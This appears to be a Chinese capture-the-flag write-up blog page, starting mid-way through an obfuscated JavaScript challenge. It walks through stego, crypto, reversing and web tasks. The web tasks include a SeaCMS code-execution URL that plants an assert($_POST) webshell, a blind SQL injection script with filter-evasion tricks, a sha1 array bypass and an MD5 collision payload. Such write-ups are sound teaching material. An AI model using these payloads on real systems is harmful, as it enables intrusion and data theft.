[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]));
</script>
</head>

<body>
</body>
</html>

弹出flag

死亡真相

将WAV文件放入Audacity中
查看频普图发现提示

flag：85a9d4517d4725_b9_8cbc9fd_554216

通过查看文件多次出现0试一试
于是将_替换为0 ：

85a9d4517d47250b908cbc9fd0554216

再由md5解密可得

flag：hsd132456

戴星炳

#coding=utf-8
import re
import requests

s = requests.Session()
url = 'http://47.103.43.235:82/web/a/index.php'
r = s.get(url)
# print r.content.decode('utf-8')
# exit()
a = re.search(r'</p><p>(.*)</p>\n<form', r.content.decode('utf-8'), re.M | re.S).group(1)
res = eval(a)
data ={
    'result':res,
    'Submit':'Submit'
}
print eval(a)

b =s.post(url=url,data=data)
print b.text

大美晚报

图片下载

用16进制工具打开发现隐藏压缩包

binwalk一下

打开压缩包发现提示：管理员使用了他的QQ号进行加密
开始进行爆破：
密码：674290437

得到flag：flag{d6@YX$_m^aa0}

作战计划

进入发现是 seacms

可能存在任意代码执行

原理详见：https://www.jianshu.com/p/a3a18f233184

故playload：http://47.103.43.235:84/search.php?searchtype=5&tid=6&year=2014);assert($_POST[1]);//
直接用菜刀连接
得到flag

潘汉年

打开得到了一个字符串

bg[`sZ*Zg'dPfP`VM_SXVd

想了一下 有可能会和ascii码有关所以

bg[`sZ*Zg'dPfP`VM_SXVd的ASCII码为：

98,103,91,96,115,90,42,90,103,39,100,80,102,80,96,86,77,95,83,88,86,100

flag的ASCII码为：
102,108,97,103

观察发现规律它们的第一位相差4 第二位相差5 第三位相差6 

str = "bg[`sZ*Zg'dPfP`VM_SXVd"

# str_1 = "flag"
flag = ""
j=4

for i in range(len(str)):
    flag += chr(ord(str[i])+j)
    j = j+1

print flag


得到flag:
flag{c4es4r_variation}

池步洲

打开页面 查看页面源代码：

发现index.phps 页面

<?php
error_reporting(0);
$flag = '********';
if (isset($_POST['name']) and isset($_POST['password'])){
    if ($_POST['name'] == $_POST['password'])
        print 'name and password must be diffirent';
    else if (sha1($_POST['name']) === sha1($_POST['password']))
        die($flag);
    else print 'invalid password';
}
?>

代发审计 发现可以绕过

post传参：
name[]=1&password[]=2

就可以得到flag:
flag{Y0u_just_br0ke_sha1}

冈村宁次

打开网址为：http://47.103.43.235:83/web/a/index.php?id===QM

感觉他传递的参数有一点像base64 发现是1 base64编码的逆序输出

像是if(0,1,2)
发现了注入点 于是编写脚本

import base64
import requests


def string_reverse(m):
    s = base64.b64encode(m)
    num=len(s)
    a=""
    for i in range(num):
        a += s[num-1-i]
    return a

url ="http://47.103.43.235:83/web/a/index.php?id="
flag =""
for x in range(1,30):
    for j in range(27,128):
        # playload = "if((ascii(substr(database(),"+str(x)+",1))>"+str(j)+"),1,2)"
        # playload = "if((ascii(substr((selselectect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/ where/**/table_schema/**/like/**/ database()),"+str(x)+",1))>"+str(j)+"),1,2)"  
        # playload = "if((ascii(substr((selselectect/**/ group_concat(column_name)/**/ from /**/infoorrmation_schema.columns/**/ where/**/ table_name/**/like/**/'flag'),"+str(x)+",1))>"+str(j)+"),1,2)" 
        playload = "if((ascii(substr((seleselectct/*a*/flag /*a*/from/*a*/ flag),"+str(x)+",1))>"+str(j)+"),1,2)"
        # print playload
        # exit()
        playload = string_reverse(playload)
        # print playload
        r=requests.get(url+playload)
        # print url+playload
        # print r.text
        # exit()
        if "2019-11-11" in r.text:
            flag += str(chr(j))
            print flag
            break


就能得到flag:
flag{s9li_1s_s0_e4sY}

obfuse

32位ELF文件，无壳，载入IDA中通过关键字符串查找关键代码

但是发现f5不好使，只能看汇编，首先输出“password：”，然后再从缓存区读取一串字符串，进入到sub_8048580进行验证，若返回0，则输入的是错误的，若返回1则输入的是正确的

在sub_8048580函数中是一位一位的check

_BOOL4 __cdecl sub_8048580(int a1, signed int a2)
{
  signed int v2; // edx
  char v3; // al
  _BOOL4 result; // eax
  char v5[33]; // [esp+Ch] [ebp-A0h]
  char b20_1; // [esp+2Dh] [ebp-7Fh]
  char b1f_1; // [esp+2Eh] [ebp-7Eh]
  char b1e_1; // [esp+30h] [ebp-7Ch]
  char b1d_1; // [esp+31h] [ebp-7Bh]
  char b1c_1; // [esp+32h] [ebp-7Ah]
  char b1b_1; // [esp+33h] [ebp-79h]
  char b1a_1; // [esp+35h] [ebp-77h]
  char b19_1; // [esp+36h] [ebp-76h]
  char b18_1; // [esp+37h] [ebp-75h]
  char b17_1; // [esp+38h] [ebp-74h]
  char b16_1; // [esp+39h] [ebp-73h]
  char b15_1; // [esp+3Ah] [ebp-72h]
  char b14_1; // [esp+3Ch] [ebp-70h]
  char b13_0; // [esp+3Dh] [ebp-6Fh]
  char b12_0; // [esp+3Eh] [ebp-6Eh]
  char b11_0; // [esp+3Fh] [ebp-6Dh]
  char b10_0; // [esp+40h] [ebp-6Ch]
  char bf_0; // [esp+41h] [ebp-6Bh]
  char be_0; // [esp+42h] [ebp-6Ah]
  char bd_0; // [esp+43h] [ebp-69h]
  char bc_1; // [esp+44h] [ebp-68h]
  char bb_1; // [esp+45h] [ebp-67h]
  char ba_1; // [esp+56h] [ebp-56h]
  char b9_0; // [esp+7Ch] [ebp-30h]
  char b8_0; // [esp+7Dh] [ebp-2Fh]
  char b7_0; // [esp+7Eh] [ebp-2Eh]
  char b6_0; // [esp+7Fh] [ebp-2Dh]
  char b5_1; // [esp+80h] [ebp-2Ch]
  char b4_1; // [esp+81h] [ebp-2Bh]
  char b3_1; // [esp+82h] [ebp-2Ah]
  char b2_1; // [esp+83h] [ebp-29h]
  char b1_1; // [esp+85h] [ebp-27h]
  unsigned int v38; // [esp+8Ch] [ebp-20h]

  v38 = __readgsdword(0x14u);
  v2 = a2;
  while ( 2 )
  {
    memset(v5, 0, 0x80u);
    v3 = *(_BYTE *)(a1 + v2);
    v5[(v3 + 64) % 128] = 1;
    if ( (unsigned __int8)(v3 - 10) <= 0x70u )
    {
      switch ( v3 )
      {
        case '\n':
          return v2 == 13 && ba_1 != 0;
        case '0':
          if ( v2 || !b9_0 )
            return 0;
          v2 = 1;
          continue;
        case '1':
          if ( v2 == 14 && b8_0 )
            goto LABEL_12;
          return 0;
        case '2':
          if ( v2 == 20 && b7_0 )
            goto LABEL_15;
          return 0;
        case '3':
          if ( v2 != 89 || !b6_0 )
            return 0;
          v2 = 90;
          continue;
        case '4':
          if ( v2 != 15 || !b5_1 )
            return 0;
          v2 = 16;
          continue;
        case '5':
          if ( v2 != 14 || !b4_1 )
            return 0;
LABEL_12:
          v2 = 15;
          continue;
        case '6':
          if ( v2 != 12 || !b3_1 )
            return 0;
          v2 = 13;
          continue;
        case '7':
          if ( v2 != 5 || !b2_1 )
            return 0;
          v2 = 6;
          continue;
        case '8':
          result = 0;
          if ( b1_1 )
            result = v2 == 33 || v2 == 2;
          return result;
        case '9':
          if ( v2 != 1 || !b1_1 )
            return 0;
          v2 = 2;
          continue;
        case 'a':
          if ( v2 != 35 || !b20_1 )
            return 0;
          v2 = 36;
          continue;
        case 'b':
          if ( v2 != 11 || !b1f_1 )
            return 0;
          v2 = 12;
          continue;
        case 'c':
          if ( v2 != 32 || !b20_1 )
            return 0;
          v2 = 33;
          continue;
        case 'd':
          if ( v2 != 3 || !b1e_1 )
            return 0;
          v2 = 4;
          continue;
        case 'e':
          if ( v2 != 7 || !b1d_1 )
            return 0;
          v2 = 8;
          continue;
        case 'f':
          if ( !b1c_1 || v2 != 8 && v2 != 4 )
            return 0;
          goto LABEL_53;
        case 'g':
          return v2 == 12 && b10_0 != 0;
        case 'h':
          if ( v2 != 13 || !b1b_1 )
            return 0;
          v2 = 14;
          continue;
        case 'i':
          if ( v2 != 9 || !b1a_1 )
            return 0;
          v2 = 10;
          continue;
        case 'j':
          if ( v2 != 10 || !b19_1 )
            return 0;
          v2 = 11;
          continue;
        case 'k':
          return v2 == 12 && b18_1 != 0;
        case 'l':
          if ( v2 != 19 || !b17_1 )
            return 0;
          v2 = 20;
          continue;
        case 'm':
          if ( v2 != 17 || !b16_1 )
            return 0;
          v2 = 18;
          continue;
        case 'n':
          return v2 == 18 && b16_1 != 0;
        case 'o':
          if ( !b15_1 || v2 != 6 && v2 != 28 )
            return 0;
LABEL_53:
          ++v2;
          continue;
        case 'p':
          if ( v2 != 30 || !b14_1 )
            return 0;
          v2 = 31;
          continue;
        case 'q':
          if ( v2 != 29 || !b13_0 )
            return 0;
          v2 = 30;
          continue;
        case 'r':
          if ( v2 != 20 || !b12_0 )
            return 0;
LABEL_15:
          v2 = 21;
          continue;
        case 's':
          if ( v2 != 25 || !b11_0 )
            return 0;
          v2 = 26;
          continue;
        case 't':
          return v2 == 24 && b12_0 != 0;
        case 'u':
          if ( v2 != 26 || !bf_0 )
            return 0;
          v2 = 27;
          continue;
        case 'v':
          if ( v2 != 2 || !be_0 )
            return 0;
          v2 = 3;
          continue;
        case 'w':
          if ( v2 != 6 || !bd_0 )
            return 0;
          v2 = 7;
          continue;
        case 'x':
          if ( v2 != 22 || !bc_1 )
            return 0;
          v2 = 23;
          continue;
        case 'y':
          if ( v2 != 23 || !bb_1 )
            return 0;
          v2 = 24;
          continue;
        case 'z':
          return v2 == 21 && b20_1 != 0;
        default:
          return 0;
      }
    }
    return 0;
  }
}

根据switch中case的值和case中的if条件就可以反推出来正确的flag

Auth.exe

32位的windows上可执行文件，无壳，先运行一下程序：

同样也是载入IDA中通过关键字符串查找关键代码（main函数），本函数前面定义了一大堆数据，最后经过sub_401500处理

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const CHAR *v3; // ebx
  HMODULE v4; // eax
  void (__stdcall *v5)(HMODULE, LPCSTR); // eax
  char v7; // [esp+1h] [ebp-157h]
  char v8[4]; // [esp+15h] [ebp-143h]
  int v9; // [esp+20h] [ebp-138h]
  int v10; // [esp+26h] [ebp-132h]
  int v11; // [esp+2Ah] [ebp-12Eh]
  int v12; // [esp+2Eh] [ebp-12Ah]
  int v13; // [esp+32h] [ebp-126h]
  int v14; // [esp+36h] [ebp-122h]
  int v15; // [esp+3Ah] [ebp-11Eh]
  __int16 v16; // [esp+3Eh] [ebp-11Ah]
  int v17; // [esp+40h] [ebp-118h]
  int v18; // [esp+44h] [ebp-114h]
  int v19; // [esp+48h] [ebp-110h]
  int v20; // [esp+4Ch] [ebp-10Ch]
  int v21; // [esp+50h] [ebp-108h]
  int v22; // [esp+54h] [ebp-104h]
  int v23; // [esp+58h] [ebp-100h]
  int v24; // [esp+5Ch] [ebp-FCh]
  int v25; // [esp+60h] [ebp-F8h]
  int v26; // [esp+64h] [ebp-F4h]
  int v27; // [esp+68h] [ebp-F0h]
  int v28; // [esp+6Ch] [ebp-ECh]
  int v29; // [esp+70h] [ebp-E8h]
  char v30; // [esp+74h] [ebp-E4h]
  int a_2; // [esp+75h] [ebp-E3h]
  int v32; // [esp+79h] [ebp-DFh]
  int v33; // [esp+7Dh] [ebp-DBh]
  int v34; // [esp+81h] [ebp-D7h]
  int v35; // [esp+85h] [ebp-D3h]
  int v36; // [esp+89h] [ebp-CFh]
  int v37; // [esp+8Dh] [ebp-CBh]
  int v38; // [esp+91h] [ebp-C7h]
  __int16 v39; // [esp+95h] [ebp-C3h]
  int a_1; // [esp+97h] [ebp-C1h]
  int v41; // [esp+9Bh] [ebp-BDh]
  int v42; // [esp+9Fh] [ebp-B9h]
  int v43; // [esp+A3h] [ebp-B5h]
  int v44; // [esp+A7h] [ebp-B1h]
  int v45; // [esp+ABh] [ebp-ADh]
  int v46; // [esp+AFh] [ebp-A9h]
  int v47; // [esp+B3h] [ebp-A5h]
  char v48; // [esp+B7h] [ebp-A1h]
  int v49; // [esp+B8h] [ebp-A0h]
  int v50; // [esp+BEh] [ebp-9Ah]
  int v51; // [esp+C2h] [ebp-96h]
  int v52; // [esp+C6h] [ebp-92h]
  int v53; // [esp+CAh] [ebp-8Eh]
  int v54; // [esp+CEh] [ebp-8Ah]
  int v55; // [esp+D2h] [ebp-86h]
  int v56; // [esp+D6h] [ebp-82h]
  int v57; // [esp+DAh] [ebp-7Eh]
  char v58; // [esp+DEh] [ebp-7Ah]
  int v59; // [esp+DFh] [ebp-79h]
  int v60; // [esp+E3h] [ebp-75h]
  int v61; // [esp+E7h] [ebp-71h]
  int v62; // [esp+EBh] [ebp-6Dh]
  int v63; // [esp+EFh] [ebp-69h]
  int v64; // [esp+F3h] [ebp-65h]
  int v65; // [esp+F7h] [ebp-61h]
  int v66; // [esp+FBh] [ebp-5Dh]
  __int16 v67; // [esp+FFh] [ebp-59h]
  int v68; // [esp+101h] [ebp-57h]
  int v69; // [esp+105h] [ebp-53h]
  char v70; // [esp+109h] [ebp-4Fh]
  int v71; // [esp+10Ah] [ebp-4Eh]
  int v72; // [esp+10Eh] [ebp-4Ah]
  int v73; // [esp+112h] [ebp-46h]
  int v74; // [esp+116h] [ebp-42h]
  int v75; // [esp+11Ah] [ebp-3Eh]
  int v76; // [esp+11Eh] [ebp-3Ah]
  int v77; // [esp+122h] [ebp-36h]
  int v78; // [esp+126h] [ebp-32h]
  int v79; // [esp+12Ah] [ebp-2Eh]
  int v80; // [esp+12Eh] [ebp-2Ah]
  int v81; // [esp+132h] [ebp-26h]
  int v82; // [esp+136h] [ebp-22h]
  int v83; // [esp+13Ah] [ebp-1Eh]
  int v84; // [esp+13Eh] [ebp-1Ah]
  int v85; // [esp+142h] [ebp-16h]
  int v86; // [esp+146h] [ebp-12h]
  int v87; // [esp+14Ah] [ebp-Eh]
  __int16 v88; // [esp+14Eh] [ebp-Ah]
  int *v89; // [esp+150h] [ebp-8h]

  v89 = &argc;
  sub_402940();
  puts(
    "            .     \n"
    "           _|_    ROBOTIC AUTHENTICATION SYSTEM\n"
    "    /\\/\\  (. .)  /\n"
    "    `||'   |#|  \n"
    "     ||__.-\"-\"-.___   \n"
    "     `---| . . |--.\\  \n"
    "         | : : |  ,||,\n"
    "         `..-..'  \\/\\/\n"
    "          || ||   \n"
    "          || ||    \n"
    "         |__|__|  \n");
  v49 = 0x539;
  v50 = 0x60646D51;
  v51 = 0x64216472;
  v52 = 0x7364756F;
  v53 = 0x64697521;
  v54 = 0x73686721;
  v55 = 0x51217572;
  v56 = 0x76727260;
  v57 = 0x3B65736E;
  v58 = 1;
  a_1 = 0x60646D51;
  v41 = 0x64216472;
  v42 = 0x7364756F;
  v43 = 0x64697521;
  v44 = 0x73686721;
  v45 = 0x51217572;
  v46 = 0x76727260;
  v47 = 0x3B65736E;
  v48 = 1;
  v59 = 0x60646D51;
  v60 = 0x64216472;
  v61 = 0x7364756F;
  v62 = 0x64697521;
  v63 = 0x62647221;
  v64 = 0x21656F6E;
  v65 = 0x72726051;
  v66 = 0x65736E76;
  v67 = 315;
  a_2 = 0x60646D51;                             // Please enter the second Password
  v32 = 0x64216472;
  v33 = 0x7364756F;
  v34 = 0x64697521;
  v35 = 0x62647221;
  v36 = 0x21656F6E;
  v37 = 0x72726051;
  v38 = 0x65736E76;
  v39 = 315;
  v68 = 0x6F6F3074;
  v69 = 0x666D3367;
  v70 = 3;
  v28 = 0x6F6F3074;
  v29 = 0x666D3367;
  v30 = 3;
  v71 = 0x6F73646A;
  v72 = 0x33326D64;
  v73 = 0x6D6D652F;
  v74 = 0x13F0101;
  v24 = 0x6F73646A;
  v25 = 0x33326D64;
  v26 = 0x6D6D652F;
  v27 = 0x13F0101;
  v75 = 0x57656540;
  v76 = 0x6E756264;
  v77 = 0x44656473;
  v78 = 0x71646279;
  v79 = 0x6F6E6875;
  v80 = 0x656F6049;
  v81 = 0x173646D;
  v17 = 0x57656540;
  v18 = 0x6E756264;
  v19 = 0x44656473;
  v20 = 0x71646279;
  v21 = 0x6F6E6875;
  v22 = 0x656F6049;
  v23 = 0x173646D;
  v82 = 0x21746E58;
  v83 = 0x2F6F6876;
  v84 = 0x6F6E4221;
  v85 = 0x75607366;
  v86 = 0x75606D74;
  v87 = 0x726F6E68;
  v88 = 0x120;
  v10 = 0x21746E58;
  v11 = 0x2F6F6876;
  v12 = 0x6F6E4221;
  v13 = 0x75607366;
  v14 = 0x75606D74;
  v15 = 0x726F6E68;
  v16 = 0x120;
  v9 = 0x539;
  strcpy(v8, "r0b0RUlez!");
  dword_40AD94 = (int)&v9;
  dword_40ADA0 = (int)&v49;
  dword_40AD8C = (char *)&a_1;
  dword_40AD90 = (char *)&a_2;
  dword_40AD98 = (int)&v28;
  lpProcName = (LPCSTR)&v17;
  lpModuleName = (LPCSTR)&v24;
  dword_40ADA4 = (char *)&v10;
  sub_401500(0);
  v3 = lpProcName;
  v4 = GetModuleHandleA(lpModuleName);
  v5 = (void (__stdcall *)(HMODULE, LPCSTR))GetProcAddress(v4, v3);
  v5((HMODULE)1, (LPCSTR)sub_40157F);
  puts(dword_40AD8C);
  scanf("%20s", &v7);
  if ( !strcmp(&v7, v8) )
  {
    puts("You passed level1!");
    sub_4015EA(0);
  }
  return 0;
}

在sub_401500函数中对刚刚定义的数据的每一位都和1异或

先把数据解密一下：

data1="516D6460726421646F756473217569642167687372752151607272766E73653B"
str1 =""
for x in range(0,len(data1),2):
    str1 += chr(eval("0x"+data1[x:x+2])^1)
print str1

data2 = "516D6460726421646F75647321756964217264626E6F652151607272766E73653B"

str2 =""
for x in range(0,len(data2),2):
    str2 += chr(eval("0x"+data2[x:x+2])^1)
print str2

data3 = "74306F6F67336D66"

str3 =""
for x in range(0,len(data3),2):
    str3 += chr(eval("0x"+data3[x:x+2])^1)
print str3

data4 = "6A64736F646D32332F656D6D"
str4 = ""
for x in range(0,len(data4),2):
    str4 += chr(eval("0x"+data4[x:x+2])^1)
print str4

data5 = "406565576462756E736465447962647175686E6F49606F656D6473"                            
str5 = ""
for x in range(0,len(data5),2):
    str5 += chr(eval("0x"+data5[x:x+2])^1)
print str5

data6 = "586E742176686F2F21426E6F66736075746D6075686E6F7220"
str6 = ""
for x in range(0,len(data6),2):
    str6 += chr(eval("0x"+data6[x:x+2])^1)
print str6

输出结果：

发现是一些需要输出的字符串

接下来程序接收一个字符串，与字符串“r0b0RUlez!”进行比较，这是第一层限制，然后来到函数sub_4015EA，在这个里面构造了一个异常，当程序走到这里的时候，发生异常而进行跳转，在跳转之前改变了一个数据，第二跳是在这个函数中的，那么我们就跟进第一条

跟进之后来到一个函数中，再接收一个字符串，进入sub_401547进行比较

在sub_401547函数中对字符串“u1nnf2lg”每一位都与2异或

解密得到“w3lld0ne”

flag = "u1nnf2lg"
real_flag =""
for x in range(len(flag)):
    real_flag+=chr(ord(flag[x])^2)
print real_flag

最后将字符串拼接起来

flag：r0b0RUlez!_w3lld0ne

晴气庆胤

查看源代码：

/*
if ((string)$_POST['paraml']!==(string)$_POST['param2']&&md5($_POST['paraml'])===md5($_POST['param2']))
*/
    function tanchu(type,info,time){
        $('.el-message').removeClass('mis-dis');
        $('.el-message').addClass(type);
        $('.el-message').css('z-index','999999');
        $('.el-message p').html(info);
    }

md5碰撞了解一下

playload：

param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
¶m2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

即可得到flag

袁殊

简单浏览题和文件之后 在互联网上查阅到一道题目，与该题极为相似,就是出自“i春秋第二届春秋欢乐赛”。
解题步骤：
下载文件解压：得到两个文件
用kali linux的 openssl 

openssl rsa -pubin -text -modulus -in warmup -in RSA256/RSA256/gy.key

得到：

Public-Key: (256 bit)
Modulus:
    00:a9:bd:4c:7a:77:63:37:0a:04:2f:e6:be:c7:dd:
    c8:41:60:2d:b9:42:c7:a3:62:d1:b5:d3:72:a4:d0:
    89:12:d9
Exponent: 65537 (0x10001)
Modulus=A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAKm9THp3YzcKBC/mvsfdyEFgLblCx6Ni
0bXTcqTQiRLZAgMBAAE=
-----END PUBLIC KEY-----

可以看到Exponent: 65537，这里成为e
n的十六进制是Modules：A9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9
用python转成转成十进制：

>python
Python 3.6.4 (v3.6.4:d48eceb, Dec 19 2017, 06:54:40) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> a=0xA9BD4C7A7763370A042FE6BEC7DDC841602DB942C7A362D1B5D372A4D08912D9
>>> a
76775333340223961139427050707840417811156978085146970312315886671546666259161

再将n进行因式分解来得到我p和q (使用http://factordb.com/)

p=273821108020968288372911424519201044333
q=280385007186315115828483000867559983517

最后写好脚本，得出flag：

#coding:utf-8 
import gmpy2
import rsa 



p = 273821108020968288372911424519201044333 
q = 280385007186315115828483000867559983517 
n = 76775333340223961139427050707840417811156978085146970312315886671546666259161 
e = 65537 
d = int(gmpy2.invert(e , (p-1) * (q-1))) 
privatekey = rsa.PrivateKey(n , e , d , p , q)      #根据已知参数，计算私钥
with open("./fllllllag.txt" , "rb") as f: 
    print(rsa.decrypt(f.read(),privatekey).decode())
相关文章
评论
返回顶部
  • ctf中web的常见知识点

    本地访问和伪造ipX-Forwarded-For: 127.0.0.1 域名解析可以更改HTTP头部host字段为flag.bugku.com 把 flag.bugku.com 解析到120.24.86.145 直接在 c:\wind...

    ctf中web的常见知识点
  • 2018安恒杯好黑的黑名单

    emmm，这个题是个好题。本题考察sql注入。绕过方法是以前没有遇见过的。里面利用了betwee and 的特性。 尝试对其进行注入，发现明显的过滤。一旦关键字在黑名单里，就会有：这么坏？想让我下面给你吃吗？XD 的字样。...

    2018安恒杯好黑的黑名单
  • insert into 注入

    题目题目连接：http://123.206.87.240:8002/web15/题目提示： flag格式：flag{xxxxxxxxxxxx} 不如写个Python吧 error_reporting(0); function ge...

    insert into 注入
  • bugku中的前女友(SKCTF)

    知识储备strcmp()函数int strcmp ( string $str1 , string $str2 ) 说明 注意该比较区分大小写。 参数 str1 第一个字符串。 str2 第二个字符串。 返回值 strcmp二进制安全...

    bugku中的前女友(SKCTF)
  • bugku中的welcome to bugkuctf

    知识储备本地包含file_get_contents() 函数定义和用法 file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样，不同的是 file_get_contents() 把文件读入一个字...

    bugku中的welcome to bugkuctf
  • hctf2018web

    首先，来说说本次比赛吧。 没有学到百度的真谛。（什么漏洞百度几乎都有，遇到不会就百度。发现源码也可百度理解） 发现可测试的地方要通过各种手段进行尝试。 ctf题与真正的漏洞有差距。需要换种思维来考虑问题。 然后，就...

    hctf2018web
  • 护网杯签到题

